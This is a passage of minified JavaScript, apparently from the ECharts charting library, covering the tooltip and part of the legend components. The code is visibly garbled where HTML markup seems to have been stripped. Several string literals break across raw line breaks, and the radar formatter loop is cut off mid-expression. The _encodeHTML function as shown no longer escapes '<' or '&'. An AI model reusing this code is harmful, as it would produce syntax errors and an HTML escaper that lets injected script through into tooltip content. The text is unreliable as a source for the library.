"+a[2]+"px "+a[3]+"px")),t=t.join(";")+";"},__hide:function(){this._lastDataIndex=-1,this._lastSeriesIndex=-1,this._lastItemTriggerId=-1,this._tDom&&(this._tDom.style.display="none");var e=!1;this._axisLineShape.invisible||(this._axisLineShape.invisible=!0, +this.zr.modShape(this._axisLineShape.id),e=!0),this._axisShadowShape.invisible||(this._axisShadowShape.invisible=!0,this.zr.modShape(this._axisShadowShape.id),e=!0),this._axisCrossShape.invisible||(this._axisCrossShape.invisible=!0,this.zr.modShape(this._axisCrossShape.id),e=!0),this._lastTipShape&&this._lastTipShape.tipShape.length>0&&(this.zr.delShape(this._lastTipShape.tipShape),this._lastTipShape=!1,this.shapeList.length=2),e&&this.zr.refreshNextFrame(),this.showing=!1},_show:function(e,t,i,n){var a=this._tDom.offsetHeight,o=this._tDom.offsetWidth;e&&("function"==typeof e&&(e=e([t,i])),e instanceof Array&&(t=e[0],i=e[1])),t+o>this._zrWidth&&(t-=o+40),i+a>this._zrHeight&&(i-=a-20),20>i&&(i=0),this._tDom.style.cssText=this._gCssText+this._defaultCssText+(n?n:"")+"left:"+t+"px;top:"+i+"px;",(10>a||10>o)&&setTimeout(this._refixed,20),this.showing=!0},__refixed:function(){if(this._tDom){var e="",t=this._tDom.offsetHeight,i=this._tDom.offsetWidth;this._tDom.offsetLeft+i>this._zrWidth&&(e+="left:"+(this._zrWidth-i-20)+"px;"),this._tDom.offsetTop+t>this._zrHeight&&(e+="top:"+(this._zrHeight-t-10)+"px;"),""!==e&&(this._tDom.style.cssText+=e)}},__tryShow:function(){var e,t;if(this._curTarget){if("island"===this._curTarget._type&&this.option.tooltip.show)return void this._showItemTrigger();var i=l.get(this._curTarget,"series"),n=l.get(this._curTarget,"data");e=this.deepQuery([n,i,this.option],"tooltip.show"),null!=i&&null!=n&&e?(t=this.deepQuery([n,i,this.option],"tooltip.trigger"),"axis"===t?this._showAxisTrigger(i.xAxisIndex,i.yAxisIndex,l.get(this._curTarget,"dataIndex")):this._showItemTrigger()):(clearTimeout(this._hidingTicket),clearTimeout(this._showingTicket),this._hidingTicket=setTimeout(this._hide,this._hideDelay))}else this._findPolarTrigger()||this._findAxisTrigger()},_findAxisTrigger:function(){if(!this.component.xAxis||!this.component.yAxis)return void(this._hidingTicket=setTimeout(this._hide,this._hideDelay));for(var e,t,i=this.option.series,n=0,a=i.length;a>n;n++)if("axis"===this.deepQuery([i[n],this.option],"tooltip.trigger"))return e=i[n].xAxisIndex||0,t=i[n].yAxisIndex||0,this.component.xAxis.getAxis(e)&&this.component.xAxis.getAxis(e).type===s.COMPONENT_TYPE_AXIS_CATEGORY?void this._showAxisTrigger(e,t,this._getNearestDataIndex("x",this.component.xAxis.getAxis(e))):this.component.yAxis.getAxis(t)&&this.component.yAxis.getAxis(t).type===s.COMPONENT_TYPE_AXIS_CATEGORY?void this._showAxisTrigger(e,t,this._getNearestDataIndex("y",this.component.yAxis.getAxis(t))):void this._showAxisTrigger(e,t,-1);"cross"===this.option.tooltip.axisPointer.type&&this._showAxisTrigger(-1,-1,-1)},_findPolarTrigger:function(){if(!this.component.polar)return!1;var e,t=m.getX(this._event),i=m.getY(this._event),n=this.component.polar.getNearestIndex([t,i]);return n?(e=n.valueIndex,n=n.polarIndex):n=-1,-1!=n?this._showPolarTrigger(n,e):!1},_getNearestDataIndex:function(e,t){var i=-1,n=m.getX(this._event),a=m.getY(this._event);if("x"===e){for(var o,r,s=this.component.grid.getXend(),l=t.getCoordByIndex(i);s>l&&(r=l,n>=l);)o=l,l=t.getCoordByIndex(++i);return 0>=i?i=0:r-n>=n-o?i-=1:null==t.getNameByIndex(i)&&(i-=1),i}for(var h,V,U=this.component.grid.getY(),l=t.getCoordByIndex(i);l>U&&(h=l,l>=a);)V=l,l=t.getCoordByIndex(++i);return 0>=i?i=0:a-h>=V-a?i-=1:null==t.getNameByIndex(i)&&(i-=1),i},_showAxisTrigger:function(e,t,i){if(!this._event.connectTrigger&&this.messageCenter.dispatch(s.EVENT.TOOLTIP_IN_GRID,this._event,null,this.myChart),null==this.component.xAxis||null==this.component.yAxis||null==e||null==t)return clearTimeout(this._hidingTicket),clearTimeout(this._showingTicket),void(this._hidingTicket=setTimeout(this._hide,this._hideDelay));var n,a,o,r,l=this.option.series,h=[],V=[],U="";if("axis"===this.option.tooltip.trigger){if(!this.option.tooltip.show)return;a=this.option.tooltip.formatter,o=this.option.tooltip.position}var d,p,c=-1!=e&&this.component.xAxis.getAxis(e).type===s.COMPONENT_TYPE_AXIS_CATEGORY?"xAxis":-1!=t&&this.component.yAxis.getAxis(t).type===s.COMPONENT_TYPE_AXIS_CATEGORY?"yAxis":!1;if(c){var u="xAxis"==c?e:t;n=this.component[c].getAxis(u);for(var y=0,g=l.length;g>y;y++)this._isSelected(l[y].name)&&l[y][c+"Index"]===u&&"axis"===this.deepQuery([l[y],this.option],"tooltip.trigger")&&(r=this.query(l[y],"tooltip.showContent")||r,a=this.query(l[y],"tooltip.formatter")||a,o=this.query(l[y],"tooltip.position")||o,U+=this._style(this.query(l[y],"tooltip")),null!=l[y].stack&&"xAxis"==c?(h.unshift(l[y]),V.unshift(y)):(h.push(l[y]),V.push(y)));this.messageCenter.dispatch(s.EVENT.TOOLTIP_HOVER,this._event,{seriesIndex:V,dataIndex:i},this.myChart);var b;"xAxis"==c?(d=this.subPixelOptimize(n.getCoordByIndex(i),this._axisLineWidth),p=m.getY(this._event),b=[d,this.component.grid.getY(),d,this.component.grid.getYend()]):(d=m.getX(this._event),p=this.subPixelOptimize(n.getCoordByIndex(i),this._axisLineWidth),b=[this.component.grid.getX(),p,this.component.grid.getXend(),p]),this._styleAxisPointer(h,b[0],b[1],b[2],b[3],n.getGap(),d,p)}else d=m.getX(this._event),p=m.getY(this._event),this._styleAxisPointer(l,this.component.grid.getX(),p,this.component.grid.getXend(),p,0,d,p),i>=0?this._showItemTrigger(!0):(clearTimeout(this._hidingTicket),clearTimeout(this._showingTicket),this._tDom.style.display="none");if(h.length>0){if(this._lastItemTriggerId=-1,this._lastDataIndex!=i||this._lastSeriesIndex!=V[0]){this._lastDataIndex=i,this._lastSeriesIndex=V[0];var f,k;if("function"==typeof a){for(var x=[],y=0,g=h.length;g>y;y++)f=h[y].data[i],k=this.getDataFromOption(f,"-"),x.push({seriesIndex:V[y],seriesName:h[y].name||"",series:h[y],dataIndex:i,data:f,name:n.getNameByIndex(i),value:k,0:h[y].name||"",1:n.getNameByIndex(i),2:k,3:f});this._curTicket="axis:"+i,this._tDom.innerHTML=a.call(this.myChart,x,this._curTicket,this._setContent)}else if("string"==typeof a){this._curTicket=0/0,a=a.replace("{a}","{a0}").replace("{b}","{b0}").replace("{c}","{c0}");for(var y=0,g=h.length;g>y;y++)a=a.replace("{a"+y+"}",this._encodeHTML(h[y].name||"")),a=a.replace("{b"+y+"}",this._encodeHTML(n.getNameByIndex(i))),f=h[y].data[i],f=this.getDataFromOption(f,"-"),a=a.replace("{c"+y+"}",f instanceof Array?f:this.numAddCommas(f));this._tDom.innerHTML=a}else{this._curTicket=0/0,a=this._encodeHTML(n.getNameByIndex(i));for(var y=0,g=h.length;g>y;y++)a+="
"+this._encodeHTML(h[y].name||"")+" : ",f=h[y].data[i],f=this.getDataFromOption(f,"-"),a+=f instanceof Array?f:this.numAddCommas(f);this._tDom.innerHTML=a}}if(r===!1||!this.option.tooltip.showContent)return;this.hasAppend||(this._tDom.style.left=this._zrWidth/2+"px",this._tDom.style.top=this._zrHeight/2+"px",this.dom.firstChild.appendChild(this._tDom),this.hasAppend=!0),this._show(o,d+10,p+10,U)}},_showPolarTrigger:function(e,t){if(null==this.component.polar||null==e||null==t||0>t)return!1;var i,n,a,o=this.option.series,r=[],s=[],l="";if("axis"===this.option.tooltip.trigger){if(!this.option.tooltip.show)return!1;i=this.option.tooltip.formatter,n=this.option.tooltip.position}for(var h=this.option.polar[e].indicator[t].text,V=0,U=o.length;U>V;V++)this._isSelected(o[V].name)&&o[V].polarIndex===e&&"axis"===this.deepQuery([o[V],this.option],"tooltip.trigger")&&(a=this.query(o[V],"tooltip.showContent")||a,i=this.query(o[V],"tooltip.formatter")||i,n=this.query(o[V],"tooltip.position")||n,l+=this._style(this.query(o[V],"tooltip")),r.push(o[V]),s.push(V));if(r.length>0){for(var d,p,c,u=[],V=0,U=r.length;U>V;V++){d=r[V].data;for(var y=0,g=d.length;g>y;y++)p=d[y],this._isSelected(p.name)&&(p=null!=p?p:{name:"",value:{dataIndex:"-"}},c=this.getDataFromOption(p.value[t]),u.push({seriesIndex:s[V],seriesName:r[V].name||"",series:r[V],dataIndex:t,data:p,name:p.name,indicator:h,value:c,0:r[V].name||"",1:p.name,2:c,3:h}))}if(u.length<=0)return;if(this._lastItemTriggerId=-1,this._lastDataIndex!=t||this._lastSeriesIndex!=s[0])if(this._lastDataIndex=t,this._lastSeriesIndex=s[0],"function"==typeof i)this._curTicket="axis:"+t,this._tDom.innerHTML=i.call(this.myChart,u,this._curTicket,this._setContent);else if("string"==typeof i){i=i.replace("{a}","{a0}").replace("{b}","{b0}").replace("{c}","{c0}").replace("{d}","{d0}");for(var V=0,U=u.length;U>V;V++)i=i.replace("{a"+V+"}",this._encodeHTML(u[V].seriesName)),i=i.replace("{b"+V+"}",this._encodeHTML(u[V].name)),i=i.replace("{c"+V+"}",this.numAddCommas(u[V].value)),i=i.replace("{d"+V+"}",this._encodeHTML(u[V].indicator));this._tDom.innerHTML=i}else{i=this._encodeHTML(u[0].name)+"
"+this._encodeHTML(u[0].indicator)+" : "+this.numAddCommas(u[0].value);for(var V=1,U=u.length;U>V;V++)i+="
"+this._encodeHTML(u[V].name)+"
",i+=this._encodeHTML(u[V].indicator)+" : "+this.numAddCommas(u[V].value);this._tDom.innerHTML=i}if(a===!1||!this.option.tooltip.showContent)return;return this.hasAppend||(this._tDom.style.left=this._zrWidth/2+"px",this._tDom.style.top=this._zrHeight/2+"px",this.dom.firstChild.appendChild(this._tDom),this.hasAppend=!0),this._show(n,m.getX(this._event),m.getY(this._event),l),!0}},_showItemTrigger:function(e){if(this._curTarget){var t,i,n,a=l.get(this._curTarget,"series"),o=l.get(this._curTarget,"seriesIndex"),r=l.get(this._curTarget,"data"),h=l.get(this._curTarget,"dataIndex"),V=l.get(this._curTarget,"name"),U=l.get(this._curTarget,"value"),d=l.get(this._curTarget,"special"),p=l.get(this._curTarget,"special2"),c=[r,a,this.option],u="";if("island"!=this._curTarget._type){var y=e?"axis":"item";this.option.tooltip.trigger===y&&(t=this.option.tooltip.formatter,i=this.option.tooltip.position),this.query(a,"tooltip.trigger")===y&&(n=this.query(a,"tooltip.showContent")||n,t=this.query(a,"tooltip.formatter")||t,i=this.query(a,"tooltip.position")||i,u+=this._style(this.query(a,"tooltip"))),n=this.query(r,"tooltip.showContent")||n,t=this.query(r,"tooltip.formatter")||t,i=this.query(r,"tooltip.position")||i,u+=this._style(this.query(r,"tooltip"))}else this._lastItemTriggerId=0/0,n=this.deepQuery(c,"tooltip.showContent"),t=this.deepQuery(c,"tooltip.islandFormatter"),i=this.deepQuery(c,"tooltip.islandPosition");this._lastDataIndex=-1,this._lastSeriesIndex=-1,this._lastItemTriggerId!==this._curTarget.id&&(this._lastItemTriggerId=this._curTarget.id,"function"==typeof t?(this._curTicket=(a.name||"")+":"+h,this._tDom.innerHTML=t.call(this.myChart,{seriesIndex:o,seriesName:a.name||"",series:a,dataIndex:h,data:r,name:V,value:U,percent:d,indicator:d,value2:p,indicator2:p,0:a.name||"",1:V,2:U,3:d,4:p,5:r,6:o,7:h},this._curTicket,this._setContent)):"string"==typeof t?(this._curTicket=0/0,t=t.replace("{a}","{a0}").replace("{b}","{b0}").replace("{c}","{c0}"),t=t.replace("{a0}",this._encodeHTML(a.name||"")).replace("{b0}",this._encodeHTML(V)).replace("{c0}",U instanceof Array?U:this.numAddCommas(U)),t=t.replace("{d}","{d0}").replace("{d0}",d||""),t=t.replace("{e}","{e0}").replace("{e0}",l.get(this._curTarget,"special2")||""),this._tDom.innerHTML=t):(this._curTicket=0/0,this._tDom.innerHTML=a.type===s.CHART_TYPE_RADAR&&d?this._itemFormatter.radar.call(this,a,V,U,d):a.type===s.CHART_TYPE_EVENTRIVER?this._itemFormatter.eventRiver.call(this,a,V,U,r):""+(null!=a.name?this._encodeHTML(a.name)+"
":"")+(""===V?"":this._encodeHTML(V)+" : ")+(U instanceof Array?U:this.numAddCommas(U))));var g=m.getX(this._event),b=m.getY(this._event);this.deepQuery(c,"tooltip.axisPointer.show")&&this.component.grid?this._styleAxisPointer([a],this.component.grid.getX(),b,this.component.grid.getXend(),b,0,g,b):this._hide(),n!==!1&&this.option.tooltip.showContent&&(this.hasAppend||(this._tDom.style.left=this._zrWidth/2+"px",this._tDom.style.top=this._zrHeight/2+"px",this.dom.firstChild.appendChild(this._tDom),this.hasAppend=!0),this._show(i,g+20,b-20,u))}},_itemFormatter:{radar:function(e,t,i,n){var a="";a+=this._encodeHTML(""===t?e.name||"":t),a+=""===a?"":"
";for(var o=0;o";return a},chord:function(e,t,i,n,a){if(null==a)return this._encodeHTML(t)+" ("+this.numAddCommas(i)+")";var o=this._encodeHTML(t),r=this._encodeHTML(n);return""+(null!=e.name?this._encodeHTML(e.name)+"
":"")+o+" -> "+r+" ("+this.numAddCommas(i)+")
"+r+" -> "+o+" ("+this.numAddCommas(a)+")"},eventRiver:function(e,t,i,n){var a="";a+=this._encodeHTML(""===e.name?"":e.name+" : "),a+=this._encodeHTML(t),a+=""===a?"":"
",n=n.evolution;for(var o=0,r=n.length;r>o;o++)a+='
',n[o].detail&&(n[o].detail.img&&(a+=''),a+='
'+n[o].time+"
",a+='
',a+=n[o].detail.text+"
",a+="
");return a}},_styleAxisPointer:function(e,t,i,n,a,o,r,s){if(e.length>0){var l,h,m=this.option.tooltip.axisPointer,V=m.type,U={line:{},cross:{},shadow:{}};for(var d in U)U[d].color=m[d+"Style"].color,U[d].width=m[d+"Style"].width,U[d].type=m[d+"Style"].type;for(var p=0,c=e.length;c>p;p++)l=e[p],h=this.query(l,"tooltip.axisPointer.type"),V=h||V,h&&(U[h].color=this.query(l,"tooltip.axisPointer."+h+"Style.color")||U[h].color,U[h].width=this.query(l,"tooltip.axisPointer."+h+"Style.width")||U[h].width,U[h].type=this.query(l,"tooltip.axisPointer."+h+"Style.type")||U[h].type);if("line"===V){var u=U.line.width,y=t==n;this._axisLineShape.style={xStart:y?this.subPixelOptimize(t,u):t,yStart:y?i:this.subPixelOptimize(i,u),xEnd:y?this.subPixelOptimize(n,u):n,yEnd:y?a:this.subPixelOptimize(a,u),strokeColor:U.line.color,lineWidth:u,lineType:U.line.type},this._axisLineShape.invisible=!1,this.zr.modShape(this._axisLineShape.id)}else if("cross"===V){var g=U.cross.width;this._axisCrossShape.style={brushType:"stroke",rect:this.component.grid.getArea(),x:this.subPixelOptimize(r,g),y:this.subPixelOptimize(s,g),text:("( "+this.component.xAxis.getAxis(0).getValueFromCoord(r)+" , "+this.component.yAxis.getAxis(0).getValueFromCoord(s)+" )").replace(" , "," ").replace(" , "," "),textPosition:"specific",strokeColor:U.cross.color,lineWidth:g,lineType:U.cross.type},this.component.grid.getXend()-r>100?(this._axisCrossShape.style.textAlign="left",this._axisCrossShape.style.textX=r+10):(this._axisCrossShape.style.textAlign="right",this._axisCrossShape.style.textX=r-10),s-this.component.grid.getY()>50?(this._axisCrossShape.style.textBaseline="bottom",this._axisCrossShape.style.textY=s-10):(this._axisCrossShape.style.textBaseline="top",this._axisCrossShape.style.textY=s+10),this._axisCrossShape.invisible=!1,this.zr.modShape(this._axisCrossShape.id)}else"shadow"===V&&((null==U.shadow.width||"auto"===U.shadow.width||isNaN(U.shadow.width))&&(U.shadow.width=o),t===n?Math.abs(this.component.grid.getX()-t)<2?(U.shadow.width/=2,t=n+=U.shadow.width/2):Math.abs(this.component.grid.getXend()-t)<2&&(U.shadow.width/=2,t=n-=U.shadow.width/2):i===a&&(Math.abs(this.component.grid.getY()-i)<2?(U.shadow.width/=2,i=a+=U.shadow.width/2):Math.abs(this.component.grid.getYend()-i)<2&&(U.shadow.width/=2,i=a-=U.shadow.width/2)),this._axisShadowShape.style={xStart:t,yStart:i,xEnd:n,yEnd:a,strokeColor:U.shadow.color,lineWidth:U.shadow.width},this._axisShadowShape.invisible=!1,this.zr.modShape(this._axisShadowShape.id));this.zr.refreshNextFrame()}},__onmousemove:function(e){if(clearTimeout(this._hidingTicket),clearTimeout(this._showingTicket),!this._mousein||!this._enterable){var t=e.target,i=m.getX(e.event),n=m.getY(e.event);if(t){this._curTarget=t,this._event=e.event,this._event.zrenderX=i,this._event.zrenderY=n;var a;if(this._needAxisTrigger&&this.component.polar&&-1!=(a=this.component.polar.isInside([i,n])))for(var o=this.option.series,l=0,h=o.length;h>l;l++)if(o[l].polarIndex===a&&"axis"===this.deepQuery([o[l],this.option],"tooltip.trigger")){this._curTarget=null;break}this._showingTicket=setTimeout(this._tryShow,this._showDelay)}else this._curTarget=!1,this._event=e.event,this._event.zrenderX=i,this._event.zrenderY=n,this._needAxisTrigger&&this.component.grid&&V.isInside(r,this.component.grid.getArea(),i,n)?this._showingTicket=setTimeout(this._tryShow,this._showDelay):this._needAxisTrigger&&this.component.polar&&-1!=this.component.polar.isInside([i,n])?this._showingTicket=setTimeout(this._tryShow,this._showDelay):(!this._event.connectTrigger&&this.messageCenter.dispatch(s.EVENT.TOOLTIP_OUT_GRID,this._event,null,this.myChart),this._hidingTicket=setTimeout(this._hide,this._hideDelay))}},__onglobalout:function(){clearTimeout(this._hidingTicket),clearTimeout(this._showingTicket),this._hidingTicket=setTimeout(this._hide,this._hideDelay)},__setContent:function(e,t){this._tDom&&(e===this._curTicket&&(this._tDom.innerHTML=t),setTimeout(this._refixed,20))},ontooltipHover:function(e,t){if(!this._lastTipShape||this._lastTipShape&&this._lastTipShape.dataIndex!=e.dataIndex){this._lastTipShape&&this._lastTipShape.tipShape.length>0&&(this.zr.delShape(this._lastTipShape.tipShape),this.shapeList.length=2);for(var i=0,n=t.length;n>i;i++)t[i].zlevel=this.getZlevelBase(),t[i].z=this.getZBase(),t[i].style=p.prototype.getHighlightStyle(t[i].style,t[i].highlightStyle),t[i].draggable=!1,t[i].hoverable=!1,t[i].clickable=!1,t[i].ondragend=null,t[i].ondragover=null,t[i].ondrop=null,this.shapeList.push(t[i]),this.zr.addShape(t[i]);this._lastTipShape={dataIndex:e.dataIndex,tipShape:t}}},ondragend:function(){this._hide()},onlegendSelected:function(e){this._selectedMap=e.selected},_setSelectedMap:function(){this._selectedMap=this.component.legend?d.clone(this.component.legend.getSelectedMap()):{}},_isSelected:function(e){return null!=this._selectedMap[e]?this._selectedMap[e]:!0},showTip:function(e){if(e){var t,i=this.option.series;if(null!=e.seriesIndex)t=e.seriesIndex;else for(var n=e.seriesName,a=0,o=i.length;o>a;a++)if(i[a].name===n){t=a;break}var r=i[t];if(null!=r){var m=this.myChart.chart[r.type],V="axis"===this.deepQuery([r,this.option],"tooltip.trigger");if(m)if(V){var U=e.dataIndex;switch(m.type){case s.CHART_TYPE_LINE:case s.CHART_TYPE_BAR:case s.CHART_TYPE_K:case s.CHART_TYPE_RADAR:if(null==this.component.polar||r.data[0].value.length<=U)return;var d=r.polarIndex||0,p=this.component.polar.getVector(d,U,"max");this._event={zrenderX:p[0],zrenderY:p[1]},this._showPolarTrigger(d,U)}}else{var c,u,y=m.shapeList;switch(m.type){case s.CHART_TYPE_LINE:case s.CHART_TYPE_BAR:case s.CHART_TYPE_K:case s.CHART_TYPE_TREEMAP:case s.CHART_TYPE_SCATTER:for(var U=e.dataIndex,a=0,o=y.length;o>a;a++)if(null==y[a]._mark&&l.get(y[a],"seriesIndex")==t&&l.get(y[a],"dataIndex")==U){this._curTarget=y[a],c=y[a].style.x,u=m.type!=s.CHART_TYPE_K?y[a].style.y:y[a].style.y[0];break}break;case s.CHART_TYPE_RADAR:for(var U=e.dataIndex,a=0,o=y.length;o>a;a++)if("polygon"===y[a].type&&l.get(y[a],"seriesIndex")==t&&l.get(y[a],"dataIndex")==U){this._curTarget=y[a];var p=this.component.polar.getCenter(r.polarIndex||0);c=p[0],u=p[1];break}break;case s.CHART_TYPE_PIE:for(var g=e.name,a=0,o=y.length;o>a;a++)if("sector"===y[a].type&&l.get(y[a],"seriesIndex")==t&&l.get(y[a],"name")==g){this._curTarget=y[a];var b=this._curTarget.style,f=(b.startAngle+b.endAngle)/2*Math.PI/180;c=this._curTarget.style.x+Math.cos(f)*b.r/1.5,u=this._curTarget.style.y-Math.sin(f)*b.r/1.5;break}break;case s.CHART_TYPE_MAP:for(var g=e.name,k=r.mapType,a=0,o=y.length;o>a;a++)if("text"===y[a].type&&y[a]._mapType===k&&y[a].style._name===g){this._curTarget=y[a],c=this._curTarget.style.x+this._curTarget.position[0],u=this._curTarget.style.y+this._curTarget.position[1];break}break;case s.CHART_TYPE_CHORD:for(var g=e.name,a=0,o=y.length;o>a;a++)if("sector"===y[a].type&&l.get(y[a],"name")==g){this._curTarget=y[a];var b=this._curTarget.style,f=(b.startAngle+b.endAngle)/2*Math.PI/180;return c=this._curTarget.style.x+Math.cos(f)*(b.r-2),u=this._curTarget.style.y-Math.sin(f)*(b.r-2),void this.zr.trigger(h.EVENT.MOUSEMOVE,{zrenderX:c,zrenderY:u})}break;case s.CHART_TYPE_FORCE:for(var g=e.name,a=0,o=y.length;o>a;a++)if("circle"===y[a].type&&l.get(y[a],"name")==g){this._curTarget=y[a],c=this._curTarget.position[0],u=this._curTarget.position[1];break}}null!=c&&null!=u&&(this._event={zrenderX:c,zrenderY:u},this.zr.addHoverShape(this._curTarget),this.zr.refreshHover(),this._showItemTrigger())}}}},hideTip:function(){this._hide()},refresh:function(e){if(this._zrHeight=this.zr.getHeight(),this._zrWidth=this.zr.getWidth(),this._lastTipShape&&this._lastTipShape.tipShape.length>0&&this.zr.delShape(this._lastTipShape.tipShape),this._lastTipShape=!1,this.shapeList.length=2,this._lastDataIndex=-1,this._lastSeriesIndex=-1,this._lastItemTriggerId=-1,e){this.option=e,this.option.tooltip=this.reformOption(this.option.tooltip),this.option.tooltip.textStyle=d.merge(this.option.tooltip.textStyle,this.ecTheme.textStyle),this._needAxisTrigger=!1,"axis"===this.option.tooltip.trigger&&(this._needAxisTrigger=!0);for(var t=this.option.series,i=0,n=t.length;n>i;i++)if("axis"===this.query(t[i],"tooltip.trigger")){this._needAxisTrigger=!0;break}this._showDelay=this.option.tooltip.showDelay,this._hideDelay=this.option.tooltip.hideDelay,this._defaultCssText=this._style(this.option.tooltip),this._setSelectedMap(),this._axisLineWidth=this.option.tooltip.axisPointer.lineStyle.width,this._enterable=this.option.tooltip.enterable,!this._enterable&&this._tDom.className.indexOf(h.elementClassName)<0&&(this._tDom.className+=" "+h.elementClassName)}if(this.showing){var a=this;setTimeout(function(){a.zr.trigger(h.EVENT.MOUSEMOVE,a.zr.handler._event)},50)}},onbeforDispose:function(){this._lastTipShape&&this._lastTipShape.tipShape.length>0&&this.zr.delShape(this._lastTipShape.tipShape),clearTimeout(this._hidingTicket),clearTimeout(this._showingTicket),this.zr.un(h.EVENT.MOUSEMOVE,this._onmousemove),this.zr.un(h.EVENT.GLOBALOUT,this._onglobalout),this.hasAppend&&this.dom.firstChild&&this.dom.firstChild.removeChild(this._tDom),this._tDom=null},_encodeHTML:function(e){return String(e).replace(/&/g,"&").replace(//g,">").replace(/"/g,""").replace(/'/g,"'")}},d.inherits(t,i),e("../component").define("tooltip",t),t}),i("echarts/component/legend",["require","./base","zrender/shape/Text","zrender/shape/Rectangle","zrender/shape/Sector","../util/shape/Icon","../util/shape/Candle","../config","zrender/tool/util","zrender/tool/area","../component"],function(e){function t(e,t,n,a,o){if(!this.query(a,"legend.data"))return void console.error("option.legend.data has not been defined.");i.call(this,e,t,n,a,o);var r=this;r._legendSelected=function(e){r.__legendSelected(e)},r._dispatchHoverLink=function(e){return r.__dispatchHoverLink(e)},this._colorIndex=0,this._colorMap={},this._selectedMap={},this._hasDataMap={},this.refresh(a)}var i=e("./base"),n=e("zrender/shape/Text"),a=e("zrender/shape/Rectangle"),o=e("zrender/shape/Sector"),r=e("../util/shape/Icon"),s=e("../util/shape/Candle"),l=e("../config");l.legend={zlevel:0,z:4,show:!0,orient:"horizontal",x:"center",y:"top",backgroundColor:"rgba(0,0,0,0)",borderColor:"#ccc",borderWidth:0,padding:5,itemGap:10,itemWidth:20,itemHeight:14,textStyle:{color:"#333"},selectedMode:!0};var h=e("zrender/tool/util"),m=e("zrender/tool/area");t.prototype={type:l.COMPONENT_TYPE_LEGEND,_buildShape:function(){if(this.legendOption.show){this._itemGroupLocation=this._getItemGroupLocation(),this._buildBackground(),this._buildItem();for(var e=0,t=this.shapeList.length;t>e;e++)this.zr.addShape(this.shapeList[e])}},_buildItem:function(){var e,t,i,a,o,s,l,V,U=this.legendOption.data,d=U.length,p=this.legendOption.textStyle,c=this.zr.getWidth(),u=this.zr.getHeight(),y=this._itemGroupLocation.x,g=this._itemGroupLocation.y,b=this.legendOption.itemWidth,f=this.legendOption.itemHeight,k=this.legendOption.itemGap;"vertical"===this.legendOption.orient&&"right"===this.legendOption.x&&(y=this._itemGroupLocation.x+this._itemGroupLocation.width-b);for(var x=0;d>x;x++)o=h.merge(U[x].textStyle||{},p),s=this.getFont(o),e=this._getName(U[x]),l=this._getFormatterName(e),""!==e?(t=U[x].icon||this._getSomethingByName(e).type,V=this.getColor(e),"horizontal"===this.legendOption.orient?200>c-y&&b+5+m.getTextWidth(l,s)+(x===d-1||""===U[x+1]?0:k)>=c-y&&(y=this._itemGroupLocation.x,g+=f+k):200>u-g&&f+(x===d-1||""===U[x+1]?0:k)>=u-g&&("right"===this.legendOption.x?y-=this._itemGroupLocation.maxWidth+k:y+=this._itemGroupLocation.maxWidth+k,g=this._itemGroupLocation.y),i=this._getItemShapeByType(y,g,b,f,this._selectedMap[e]&&this._hasDataMap[e]?V:"#ccc",t,V),i._name=e,i=new r(i),a={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:y+b+5,y:g+f/2,color:this._selectedMap[e]?"auto"===o.color?V:o.color:"#ccc",text:l,textFont:s,textBaseline:"middle"},highlightStyle:{color:V,brushType:"fill"},hoverable:!!this.legendOption.selectedMode,clickable:!!this.legendOption.selectedMode},"vertical"===this.legendOption.orient&&"right"===this.legendOption.x&&(a.style.x-=b+10,a.style.textAlign="right"),a._name=e,a=new n(a),this.legendOption.selectedMode&&(i.onclick=a.onclick=this._legendSelected,i.onmouseover=a.onmouseover=this._dispatchHoverLink,i.hoverConnect=a.id,a.hoverConnect=i.id),this.shapeList.push(i),this.shapeList.push(a),"horizontal"===this.legendOption.orient?y+=b+5+m.getTextWidth(l,s)+k:g+=f+k):"horizontal"===this.legendOption.orient?(y=this._itemGroupLocation.x,g+=f+k):("right"===this.legendOption.x?y-=this._itemGroupLocation.maxWidth+k:y+=this._itemGroupLocation.maxWidth+k,g=this._itemGroupLocation.y);"horizontal"===this.legendOption.orient&&"center"===this.legendOption.x&&g!=this._itemGroupLocation.y&&this._mLineOptimize()},_getName:function(e){return"undefined"!=typeof e.name?e.name:e},_getFormatterName:function(e){var t,i=this.legendOption.formatter;return t="function"==typeof i?i.call(this.myChart,e):"string"==typeof i?i.replace("{name}",e):e},_getFormatterNameFromData:function(e){var t=this._getName(e);return this._getFormatterName(t)},_mLineOptimize:function(){for(var e=[],t=this._itemGroupLocation.x,i=2,n=this.shapeList.length;n>i;i++)this.shapeList[i].style.x===t?e.push((this._itemGroupLocation.width-(this.shapeList[i-1].style.x+m.getTextWidth(this.shapeList[i-1].style.text,this.shapeList[i-1].style.textFont)-t))/2):i===n-1&&e.push((this._itemGroupLocation.width-(this.shapeList[i].style.x+m.getTextWidth(this.shapeList[i].style.text,this.shapeList[i].style.textFont)-t))/2);for(var a=-1,i=1,n=this.shapeList.length;n>i;i++)this.shapeList[i].style.x===t&&a++,0!==e[a]&&(this.shapeList[i].style.x+=e[a])},_buildBackground:function(){var e=this.reformCssArray(this.legendOption.padding);this.shapeList.push(new a({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._itemGroupLocation.x-e[3],y:this._itemGroupLocation.y-e[0],width:this._itemGroupLocation.width+e[3]+e[1],height:this._itemGroupLocation.height+e[0]+e[2],brushType:0===this.legendOption.borderWidth?"fill":"both",color:this.legendOption.backgroundColor,strokeColor:this.legendOption.borderColor,lineWidth:this.legendOption.borderWidth}}))},_getItemGroupLocation:function(){var e=this.legendOption.data,t=e.length,i=this.legendOption.itemGap,n=this.legendOption.itemWidth+5,a=this.legendOption.itemHeight,o=this.legendOption.textStyle,r=this.getFont(o),s=0,l=0,V=this.reformCssArray(this.legendOption.padding),U=this.zr.getWidth()-V[1]-V[3],d=this.zr.getHeight()-V[0]-V[2],p=0,c=0;if("horizontal"===this.legendOption.orient){l=a;for(var u=0;t>u;u++)if(""!==this._getName(e[u])){var y=m.getTextWidth(this._getFormatterNameFromData(e[u]),e[u].textStyle?this.getFont(h.merge(e[u].textStyle||{},o)):r);p+n+y+i>U?(p-=i,s=Math.max(s,p),l+=a+i,p=0):(p+=n+y+i,s=Math.max(s,p-i))}else p-=i,s=Math.max(s,p),l+=a+i,p=0}else{for(var u=0;t>u;u++)c=Math.max(c,m.getTextWidth(this._getFormatterNameFromData(e[u]),e[u].textStyle?this.getFont(h.merge(e[u].textStyle||{},o)):r));c+=n,s=c;for(var 